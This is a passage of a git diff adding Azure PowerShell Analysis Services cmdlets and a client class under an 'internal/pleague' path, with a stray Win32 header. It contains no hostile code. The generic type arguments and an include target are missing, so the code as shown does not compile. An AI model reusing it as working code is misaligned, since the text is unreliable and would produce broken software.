+ "AnalysisServicesFirewallRule"), OutputType(typeof(PsAzureAnalysisServicesFirewallRule))] + public class NewAzureRmAnalysisServicesFirewallRule : AnalysisServicesCmdletBase + { + [Parameter(ValueFromPipelineByPropertyName = true, Position = 0, Mandatory = true, + HelpMessage = "Name of firewall rule")] + [ValidateNotNullOrEmpty] + public string FirewallRuleName { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 1, Mandatory = true, + HelpMessage = "IP range start, for example, 0.0.0.0")] + [ValidateNotNullOrEmpty] + public string RangeStart { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 2, Mandatory = true, + HelpMessage = "IP range end, for example, 255.255.255.255")] + [ValidateNotNullOrEmpty] + public string RangeEnd { get; set; } + + public override void ExecuteCmdlet() + { + PsAzureAnalysisServicesFirewallRule rule = new PsAzureAnalysisServicesFirewallRule(FirewallRuleName, RangeStart, RangeEnd); + WriteObject(rule); + } + } +} diff --git a/internal/pleague/commands/NewAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/NewAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..7faf468 --- /dev/null +++ b/internal/pleague/commands/NewAzureRmAnalysisServicesServer.cs @@ -0,0 +1,156 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using System.Collections; +using System.Linq; +using System.Management.Automation; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Rest.Azure; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; +using Microsoft.Azure.Management.Analysis.Models; +using System.Collections.Generic; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("New", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer", SupportsShouldProcess = true), OutputType(typeof(AzureAnalysisServicesServer))] + [Alias("New-" + ResourceManager.Common.AzureRMConstants.AzurePrefix + "As")] + public class NewAnalysisServicesServer : AnalysisServicesCmdletBase + { + [Parameter(ValueFromPipelineByPropertyName = true, Position = 0, Mandatory = true, + HelpMessage = "Name of resource group under which you want to create the server.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 1, Mandatory = true, + HelpMessage = "Name of the server to create.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 2, Mandatory = true, + HelpMessage = "Azure region where the server should be created.")] + [ValidateNotNullOrEmpty] + [LocationCompleter("Microsoft.AnalysisServices/servers")] + public string Location { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 3, Mandatory = true, + HelpMessage = + "Name of the Sku used to create the server" + )] + [ValidateNotNullOrEmpty] + public string Sku { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 4, Mandatory = false, + HelpMessage = "A string,string dictionary of tags associated with this server")] + [ValidateNotNull] + public Hashtable Tag { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 5, Mandatory = false, + HelpMessage = "A comma separated server names to set as administrators on the server")] + [ValidateNotNull] + public string Administrator { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 6, Mandatory = false, + HelpMessage = "The Uri of blob container for backing up the server")] + [ValidateNotNullOrEmpty] + public string BackupBlobContainerUri { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "The replica count of readonly pool")] + [ValidateRange(0, 7)] + public int ReadonlyReplicaCount { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "The default connection mode to query server")] + [ValidateSet("All", "Readonly", IgnoreCase = true)] + public string DefaultConnectionMode { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "Firewall configuration")] + public PsAzureAnalysisServicesFirewallConfig FirewallConfig { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "Gateway resource ID")] + public string GatewayResourceId { get; set; } + + public override void ExecuteCmdlet() + { + if (ShouldProcess(Name, Resources.CreateNewAnalysisServicesServer)) + { + try + { + if (AnalysisServicesClient.GetServer(ResourceGroupName, Name) != null) + { + throw new CloudException(string.Format(Resources.AnalysisServerExists, Name)); + } + } + catch (CloudException ex) + { + if (ex.Body != null && !string.IsNullOrEmpty(ex.Body.Code) && ex.Body.Code == "ResourceNotFound" || + ex.Message.Contains("ResourceNotFound")) + { + // server does not exists so go ahead and create one + } + else if (ex.Body != null && !string.IsNullOrEmpty(ex.Body.Code) && + ex.Body.Code == "ResourceGroupNotFound" || ex.Message.Contains("ResourceGroupNotFound")) + { + // resource group not found, let create throw error don't throw from here + } + else + { + // all other exceptions should be thrown + throw; + } + } + + var availableSkus = AnalysisServicesClient.ListSkusForNew(); + if (!availableSkus.Value.Any(v => v.Name == Sku)) + { + throw new InvalidOperationException(string.Format(Resources.InvalidSku, Sku, String.Join(",", availableSkus.Value.Select(v => v.Name)))); + } + + IPv4FirewallSettings setting = null; + if (FirewallConfig != null) + { + setting = new IPv4FirewallSettings(new List(), "False"); + + setting.EnablePowerBIService = FirewallConfig.EnablePowerBIService.ToString(); + + if (FirewallConfig.FirewallRules != null) + { + foreach (var rule in FirewallConfig.FirewallRules) + { + setting.FirewallRules.Add(new IPv4FirewallRule() + { + FirewallRuleName = rule.FirewallRuleName, + RangeStart = rule.RangeStart, + RangeEnd = rule.RangeEnd + }); + } + } + } + + if (!MyInvocation.BoundParameters.ContainsKey("ReadonlyReplicaCount")) + { + ReadonlyReplicaCount = 0; + } + + var createdServer = AnalysisServicesClient.CreateOrUpdateServer(ResourceGroupName, Name, Location, Sku, Tag, Administrator, null, BackupBlobContainerUri, ReadonlyReplicaCount, DefaultConnectionMode, setting, GatewayResourceId); + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServer(createdServer)); + } + } + } +} diff --git a/internal/pleague/commands/RemoveAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/RemoveAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..025efa3 --- /dev/null +++ b/internal/pleague/commands/RemoveAzureRmAnalysisServicesServer.cs @@ -0,0 +1,69 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using System.Management.Automation; +using System.Security.Permissions; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Rest.Azure; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("Remove", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer", SupportsShouldProcess = true), OutputType(typeof(AzureAnalysisServicesServer))] + [Alias("Remove-" + ResourceManager.Common.AzureRMConstants.AzurePrefix + "As")] + public class RemoveAnalysisServicesServer : AnalysisServicesCmdletBase + { + [Parameter(ValueFromPipelineByPropertyName = true, Position = 0, Mandatory = true, + HelpMessage = "Name of server to be removed.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 1, Mandatory = false, + HelpMessage = "Name of resource group under which the server exists.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + [Parameter(Mandatory = false)] + public SwitchParameter PassThru { get; set; } + + [PermissionSet(SecurityAction.Demand, Name = "FullTrust")] + public override void ExecuteCmdlet() + { + if (string.IsNullOrEmpty(Name)) + { + WriteExceptionError(new PSArgumentNullException("Name", "Name of server not specified")); + } + + if (ShouldProcess(Name, Resources.RemovingAnalysisServicesServer)) + { + AnalysisServicesServer server = null; + if (!AnalysisServicesClient.TestServer(ResourceGroupName, Name, out server)) + { + throw new InvalidOperationException(string.Format(Properties.Resources.ServerDoesNotExist, Name)); + } + + AnalysisServicesClient.DeleteServer(ResourceGroupName, Name); + + if (PassThru.IsPresent) + { + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServer(server)); + } + } + } + } +} diff --git a/internal/pleague/commands/ResumeAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/ResumeAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..84110c1 --- /dev/null +++ b/internal/pleague/commands/ResumeAzureRmAnalysisServicesServer.cs @@ -0,0 +1,68 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Management.Analysis; +using System.Collections.Generic; +using System.Management.Automation; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("Resume", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer", SupportsShouldProcess = true),OutputType(typeof(AzureAnalysisServicesServer))] + [Alias("Resume-" + ResourceManager.Common.AzureRMConstants.AzurePrefix+ "As")] + public class ResumeAzureAnalysisServicesServer : AnalysisServicesCmdletBase + { + [Parameter(Position = 1, ValueFromPipelineByPropertyName = true, + Mandatory = false, HelpMessage = "Name of resource group under which to retrieve the server.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + [Parameter(Position = 0, ValueFromPipelineByPropertyName = true, + Mandatory = true, HelpMessage = "Name of a specific server.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + [Parameter(Mandatory = false)] + public SwitchParameter PassThru { get; set; } + + public override void ExecuteCmdlet() + { + if (string.IsNullOrEmpty(Name)) + { + WriteExceptionError(new PSArgumentNullException("Name", "Name of server not specified")); + } + + if (ShouldProcess(Name, Resources.ResumingAnalysisServicesServer)) + { + AnalysisServicesServer server = null; + if (!AnalysisServicesClient.TestServer(ResourceGroupName, Name, out server)) + { + throw new InvalidOperationException(string.Format(Properties.Resources.ServerDoesNotExist, Name)); + } + + AnalysisServicesClient.ResumeServer(ResourceGroupName, Name); + + if (PassThru.IsPresent) + { + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServer(server)); + } + } + } + } +} diff --git a/internal/pleague/commands/SetAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/SetAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..4746975 --- /dev/null +++ b/internal/pleague/commands/SetAzureRmAnalysisServicesServer.cs @@ -0,0 +1,175 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using System.Collections; +using System.Linq; +using System.Management.Automation; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Azure.Commands.ResourceManager.Common.Tags; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; +using System.Collections.Generic; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("Set", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer", SupportsShouldProcess = true, DefaultParameterSetName = ParamSetDefault), OutputType(typeof(AzureAnalysisServicesServer))] + [Alias("Set-" + ResourceManager.Common.AzureRMConstants.AzurePrefix + "As")] + public class SetAzureAnalysisServicesServer : AnalysisServicesCmdletBase + { + private const string ParamSetDefault = "Default"; + private const string ParamSetDisableBackup = "DisableBackup"; + private const string ParamSetDisassociatGateway = "DisassociateGateway"; + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 0, Mandatory = true, + HelpMessage = "Name of the server.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 1, Mandatory = false, + HelpMessage = "Name of resource group under which you want to update the server.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 2, Mandatory = false, + HelpMessage = "Name of the Sku used to create the server")] + [ValidateNotNullOrEmpty] + public string Sku { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 3, Mandatory = false, + HelpMessage = "A string,string dictionary of tags associated with this server")] + [ValidateNotNull] + public Hashtable Tag { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 4, Mandatory = false, + HelpMessage = "A comma separated server names to set as administrators on the server")] + [ValidateNotNull] + public string Administrator { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 5, Mandatory = false, + ParameterSetName = ParamSetDefault, + HelpMessage = "The Uri of blob container for backing up the server")] + [ValidateNotNullOrEmpty] + public string BackupBlobContainerUri { get; set; } + + [Parameter(Mandatory = false)] + public SwitchParameter PassThru { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 5, Mandatory = true, + ParameterSetName = ParamSetDisableBackup, + HelpMessage = "The switch to turn off backup of the server.")] + public SwitchParameter DisableBackup { get; set; } + + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "The replica count of readonly pool")] + [ValidateRange(0, 7)] + public int ReadonlyReplicaCount + { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "The default connection mode to query server")] + [ValidateSet("All", "Readonly", IgnoreCase = true)] + public string DefaultConnectionMode { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + HelpMessage = "Firewall configuration")] + public PsAzureAnalysisServicesFirewallConfig FirewallConfig { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + ParameterSetName = ParamSetDefault, + HelpMessage = "Gateway resource ID")] + public string GatewayResourceId { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Mandatory = false, + ParameterSetName = ParamSetDisassociatGateway, + HelpMessage = "Disassociate current gateway")] + public SwitchParameter DisassociateGateway { get; set; } + + public override void ExecuteCmdlet() + { + if (string.IsNullOrEmpty(Name)) + { + WriteExceptionError(new PSArgumentNullException("Name", "Name of server not specified")); + } + + if (ShouldProcess(Name, Resources.UpdatingAnalysisServicesServer)) + { + AnalysisServicesServer currentServer = null; + if (!AnalysisServicesClient.TestServer(ResourceGroupName, Name, out currentServer)) + { + throw new InvalidOperationException(string.Format(Properties.Resources.ServerDoesNotExist, Name)); + } + + var availableSkus = AnalysisServicesClient.ListSkusForExisting(ResourceGroupName, Name); + if (Sku != null && !availableSkus.Value.Any(v => v.Sku.Name == Sku)) + { + throw new InvalidOperationException(string.Format(Resources.InvalidSku, Sku, String.Join(",", availableSkus.Value.Select(v => v.Sku.Name)))); + } + + var location = currentServer.Location; + if (Tag == null && currentServer.Tags != null) + { + Tag = TagsConversionHelper.CreateTagHashtable(currentServer.Tags); + } + + if (DisableBackup.IsPresent) + { + BackupBlobContainerUri = "-"; + } + + IPv4FirewallSettings setting = null; + if (FirewallConfig != null) + { + setting = new IPv4FirewallSettings(new List(), "False"); + + setting.EnablePowerBIService = FirewallConfig.EnablePowerBIService.ToString(); + + if (FirewallConfig.FirewallRules != null) + { + foreach (var rule in FirewallConfig.FirewallRules) + { + setting.FirewallRules.Add(new IPv4FirewallRule() + { + FirewallRuleName = rule.FirewallRuleName, + RangeStart = rule.RangeStart, + RangeEnd = rule.RangeEnd + }); + } + } + } + + + if (!MyInvocation.BoundParameters.ContainsKey("ReadonlyReplicaCount")) + { + ReadonlyReplicaCount = -1; + } + + if (DisassociateGateway.IsPresent) + { + GatewayResourceId = AnalysisServicesClient.DissasociateGateway; + } + + AnalysisServicesServer updatedServer = AnalysisServicesClient.CreateOrUpdateServer(ResourceGroupName, Name, location, Sku, Tag, Administrator, currentServer, BackupBlobContainerUri, ReadonlyReplicaCount, DefaultConnectionMode, setting, GatewayResourceId); + + if(PassThru.IsPresent) + { + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServer(updatedServer)); + } + } + } + } +} diff --git a/internal/pleague/commands/SuspendAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/SuspendAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..dabd818 --- /dev/null +++ b/internal/pleague/commands/SuspendAzureRmAnalysisServicesServer.cs @@ -0,0 +1,68 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Management.Analysis; +using System.Collections.Generic; +using System.Management.Automation; +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("Suspend", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer",SupportsShouldProcess = true),OutputType(typeof(AzureAnalysisServicesServer))] + [Alias("Suspend-" + ResourceManager.Common.AzureRMConstants.AzurePrefix + "As")] + public class SuspendAzureAnalysisServicesServer : AnalysisServicesCmdletBase + { + [Parameter(Position = 1, ValueFromPipelineByPropertyName = true, + Mandatory = false, HelpMessage = "Name of resource group under which to retrieve the server.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + [Parameter(Position = 0, ValueFromPipelineByPropertyName = true, + Mandatory = true, HelpMessage = "Name of a specific server.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + [Parameter(Mandatory = false)] + public SwitchParameter PassThru { get; set; } + + public override void ExecuteCmdlet() + { + if (string.IsNullOrEmpty(Name)) + { + WriteExceptionError(new PSArgumentNullException("Name", "Name of server not specified")); + } + + if (ShouldProcess(Name, Resources.SuspendingAnalysisServicesServer)) + { + AnalysisServicesServer server = null; + if (!AnalysisServicesClient.TestServer(ResourceGroupName, Name, out server)) + { + throw new InvalidOperationException(string.Format(Properties.Resources.ServerDoesNotExist, Name)); + } + + AnalysisServicesClient.SuspendServer(ResourceGroupName, Name); + + if (PassThru.IsPresent) + { + WriteObject(AzureAnalysisServicesServer.FromAnalysisServicesServer(server)); + } + } + } + } +} diff --git a/internal/pleague/commands/TestAzureRmAnalysisServicesServer.cs b/internal/pleague/commands/TestAzureRmAnalysisServicesServer.cs new file mode 100644 index 0000000..5eb0d1b --- /dev/null +++ b/internal/pleague/commands/TestAzureRmAnalysisServicesServer.cs @@ -0,0 +1,44 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using Microsoft.Azure.Commands.AnalysisServices.Models; +using Microsoft.Azure.Management.Analysis; +using System.Management.Automation; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Azure.Commands.ResourceManager.Common.ArgumentCompleters; + +namespace Microsoft.Azure.Commands.AnalysisServices +{ + [Cmdlet("Test", ResourceManager.Common.AzureRMConstants.AzureRMPrefix + "AnalysisServicesServer"), OutputType(typeof(bool))] + [Alias("Test-" + ResourceManager.Common.AzureRMConstants.AzurePrefix + "As")] + public class TestAzureAnalysisServicesServer : AnalysisServicesCmdletBase + { + [Parameter(ValueFromPipelineByPropertyName = true, Position = 0, Mandatory = true, + HelpMessage = "Name of a specific server.")] + [ValidateNotNullOrEmpty] + public string Name { get; set; } + + [Parameter(ValueFromPipelineByPropertyName = true, Position = 1, Mandatory = false, + HelpMessage = "Name of resource group under which want to test the server.")] + [ResourceGroupCompleter()] + [ValidateNotNullOrEmpty] + public string ResourceGroupName { get; set; } + + public override void ExecuteCmdlet() + { + AnalysisServicesServer server = null; + WriteObject(AnalysisServicesClient.TestServer(ResourceGroupName, Name, out server)); + } + } +} diff --git a/internal/pleague/framework.h b/internal/pleague/framework.h new file mode 100644 index 0000000..54b83e9 --- /dev/null +++ b/internal/pleague/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/internal/pleague/models/AnalysisServicesClient.cs b/internal/pleague/models/AnalysisServicesClient.cs new file mode 100644 index 0000000..345afea --- /dev/null +++ b/internal/pleague/models/AnalysisServicesClient.cs @@ -0,0 +1,291 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Azure.Commands.Common.Authentication; +using Microsoft.Azure.Commands.Common.Authentication.Abstractions; +using Microsoft.Azure.Commands.ResourceManager.Common.Tags; +using Microsoft.Azure.Management.Analysis; +using Microsoft.Azure.Management.Analysis.Models; +using Microsoft.Rest.Azure; +using Newtonsoft.Json; +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using System.Net; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + public class AnalysisServicesClient + { + private readonly AnalysisServicesManagementClient _client; + private readonly Guid _subscriptionId; + private readonly string _currentUser; + public const string DissasociateGateway = "-"; + + public AnalysisServicesClient(IAzureContext context) + { + if (context == null) + { + throw new ApplicationException(Resources.InvalidDefaultSubscription); + } + + _subscriptionId = context.Subscription.GetId(); + _client = AzureSession.Instance.ClientFactory.CreateArmClient( + context, + AzureEnvironment.Endpoint.ResourceManager); + _currentUser = context.Account.Id; + } + + public AnalysisServicesClient() + { + } + + #region Server Related Operations + + public AnalysisServicesServer CreateOrUpdateServer( + string resourceGroupName, + string serverName, + string location, + string skuName = null, + Hashtable customTags = null, + string administrators = null, + AnalysisServicesServer existingServer = null, + string backupBlobContainerUri = null, + int ReadonlyReplicaCount = 0, + string DefaultConnectionMode = null, + IPv4FirewallSettings setting = null, + string gatewayResourceId = null) + { + if (string.IsNullOrEmpty(resourceGroupName)) + { + resourceGroupName = GetResourceGroupByServer(serverName); + } + + var tags = (customTags != null) + ? TagsConversionHelper.CreateTagDictionary(customTags, true) + : null; + + var adminList = new List(); + + if (!string.IsNullOrEmpty(administrators)) + { + adminList.AddRange(administrators.Split(',')); + if (adminList.Count == 0) + { + adminList.Add(_currentUser); + } + } + + GatewayDetails gatewayDetails = null; + if (gatewayResourceId == DissasociateGateway) + { + gatewayDetails = new GatewayDetails(); + } + else if (gatewayResourceId != null) + { + gatewayDetails = new GatewayDetails(gatewayResourceId); + } + + AnalysisServicesServer newOrUpdatedServer = null; + if (existingServer != null) + { + var updateParameters = new AnalysisServicesServerUpdateParameters() + { + Sku = skuName == null ? existingServer.Sku : GetResourceSkuFromName(skuName), + Tags = tags, + }; + + if (adminList.Count > 0) + { + updateParameters.AsAdministrators = new ServerAdministrators(adminList); + } + + if (backupBlobContainerUri != null) + { + updateParameters.BackupBlobContainerUri = backupBlobContainerUri; + } + + if (ReadonlyReplicaCount != -1) + { + updateParameters.Sku.Capacity = ReadonlyReplicaCount + 1; + } + + if (DefaultConnectionMode != null) + { + updateParameters.QuerypoolConnectionMode = (ConnectionMode)Enum.Parse(typeof(ConnectionMode), DefaultConnectionMode, true); + } + + if (setting != null) + { + updateParameters.IpV4FirewallSettings = setting; + } + + if (gatewayDetails != null) + { + updateParameters.GatewayDetails = gatewayDetails; + } + + newOrUpdatedServer = _client.Servers.Update(resourceGroupName, serverName, updateParameters); + } + else + { + ConnectionMode? connectionMode = null; + if (DefaultConnectionMode != null) + { + connectionMode = (ConnectionMode)Enum.Parse(typeof(ConnectionMode), DefaultConnectionMode, true); + } + + if (adminList.Count == 0) + { + adminList.Add(_currentUser); + } + + newOrUpdatedServer = _client.Servers.Create( + resourceGroupName, + serverName, + new AnalysisServicesServer() + { + AsAdministrators = new ServerAdministrators(adminList), + BackupBlobContainerUri = backupBlobContainerUri, + Location = location, + Sku = GetResourceSkuFromName(skuName, ReadonlyReplicaCount + 1), + Tags = tags, + QuerypoolConnectionMode = connectionMode, + IpV4FirewallSettings = setting, + GatewayDetails = gatewayDetails + }); + } + + return newOrUpdatedServer; + } + + public void DeleteServer(string resourceGroupName, string serverName) + { + if (string.IsNullOrEmpty(resourceGroupName)) + { + resourceGroupName = GetResourceGroupByServer(serverName); + } + + _client.Servers.Delete(resourceGroupName, serverName); + } + + public bool TestServer(string resourceGroupName, string serverName, out AnalysisServicesServer server) + { + try + { + server = GetServer(resourceGroupName, serverName); + return true; + } + catch (CloudException ex) + { + if ((ex.Response != null && ex.Response.StatusCode == HttpStatusCode.NotFound) || ex.Message.Contains(string.Format(Properties.Resources.FailedToDiscoverResourceGroup, serverName, + _subscriptionId))) + { + server = null; + return false; + } + + throw; + } + } + + public AnalysisServicesServer GetServer(string resourceGroupName, string serverName) + { + if (string.IsNullOrEmpty(resourceGroupName)) + { + resourceGroupName = GetResourceGroupByServer(serverName); + } + + return _client.Servers.GetDetails(resourceGroupName, serverName); + } + + public List ListServers(string resourceGroupName) + { + var serverList = new List(); + var response = string.IsNullOrEmpty(resourceGroupName) ? + _client.Servers.List() : + _client.Servers.ListByResourceGroup(resourceGroupName); + + serverList.AddRange(response); + + return serverList; + } + + public SkuEnumerationForNewResourceResult ListSkusForNew() + { + return _client.Servers.ListSkusForNew(); + } + + public SkuEnumerationForExistingResourceResult ListSkusForExisting(string resourceGroupName, string serverName) + { + if (string.IsNullOrEmpty(resourceGroupName)) + { + resourceGroupName = GetResourceGroupByServer(serverName); + } + + return _client.Servers.ListSkusForExisting(resourceGroupName, serverName); + } + + private string GetResourceGroupByServer(string serverName) + { + try + { + var acctId = + ListServers(null) + .Find(x => x.Name.Equals(serverName, StringComparison.InvariantCultureIgnoreCase)) + .Id; + var rgStart = acctId.IndexOf("resourceGroups/", StringComparison.InvariantCultureIgnoreCase) + + ("resourceGroups/".Length); + var rgLength = (acctId.IndexOf("/providers/", StringComparison.InvariantCultureIgnoreCase)) - rgStart; + return acctId.Substring(rgStart, rgLength); + } + catch + { + throw new CloudException(string.Format(Properties.Resources.FailedToDiscoverResourceGroup, serverName, _subscriptionId)); + } + } + + private ResourceSku GetResourceSkuFromName(string skuName, int capacity = 1) + { + var tier = skuName.StartsWith("D") ? SkuTier.Development + : skuName.StartsWith("B") ? SkuTier.Basic + : SkuTier.Standard; + return new ResourceSku(skuName, tier, capacity); + } + + public void SuspendServer(string resourceGroupName, string serverName) + { + if (string.IsNullOrEmpty(resourceGroupName)) + { + resourceGroupName = GetResourceGroupByServer(serverName); + } + + _client.Servers.Suspend(resourceGroupName, serverName); + } + + public void ResumeServer(string resourceGroupName, string serverName) + { + if (string.IsNullOrEmpty(resourceGroupName)) + { + resourceGroupName = GetResourceGroupByServer(serverName); + } + + _client.Servers.Resume(resourceGroupName, serverName); + } + + #endregion + } +} \ No newline at end of file diff --git a/internal/pleague/models/AnalysisServicesCmdletBase.cs b/internal/pleague/models/AnalysisServicesCmdletBase.cs new file mode 100644 index 0000000..769875f --- /dev/null +++ 